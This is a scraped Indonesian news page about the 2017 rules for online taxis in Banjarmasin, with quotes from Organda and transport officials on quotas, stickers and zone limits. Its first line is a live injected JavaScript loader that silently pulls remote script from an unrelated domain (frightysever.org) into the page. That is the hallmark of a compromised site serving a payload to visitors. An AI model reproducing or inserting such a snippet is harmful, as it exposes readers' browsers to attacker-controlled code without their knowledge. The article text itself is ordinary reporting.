(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Ini Regulasi Yang Harus Dipatuhi Taksi Online di Banua


BANJARMASIN, Lahan bisnis angkutan konvensional yang ‘diambil’ alih angkutan berbasis daring alias taksi online di Indonesia juga mulai dirasakan di Banua, pemerintah akhirnya melakukan Revisi Permenhub 26 Tahun 2016 menjadi Permenhub 108 tahun 2017 berlaku per 1 November.

Ketua Organda Kota Banjarmasin Budi Suryadi meminta kepada pemerintah harus menekan kepada taksi online agar mengikuti aturan yang berlaku di Indonesia.

“Ada beberapa poin kebijakan yang diambil oleh Provinsi Kalsel yaitu harus membatasi kuota taksi online, membatasi wilayah pengangkutan penumpang, harus ada perusahaan yang menaungi, serta samakan biaya angkutan dengan taksi konvensional,” ujar Budi Suryadi.

Berdasarkan data yang dihimpun pihaknya, saat ini diperkirakan sudah ada sekitar 3.500-an angkutan berbasis daring alias taksi online di Kalsel.

“Makanya kami minta Kementerian harus menegur dan membatasi jumlah kuotanya,” tegasnya.

Sekretaris Kementerian Perhubungan Angkutan Darat Wilayah 15 Kalimantan Selatan, Syamsuddin mengungkapkan, taksi online merupakan sebuah keniscayaan yang tidak bisa dipungkiri di lapangan. Menurutnya, dengan keluarnya Permenhub 108 menunjukan bahwa pemerintah ingin mengatur keseimbangan antara taksi konvensional dan taksi online.

Di lain pihak, Kadishub Provinsi Kalsel, Rudiansyah mengungkapkan, berdasarkan Permenhub 108 yang mengatur tentang teknis pelaksanaan taksi online yaitu taksi online harus pakai stiker “Tapi itu masih diprotes oleh pihak taksi online, SIM A Umum, pembatasan wilayah taksi online yang tidak boleh seperti Bandara, hotel, serta mall. Namun ini harus ada Pergub mengenai kuota, tarif, batas wilayah,” tutupnya.(robby)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.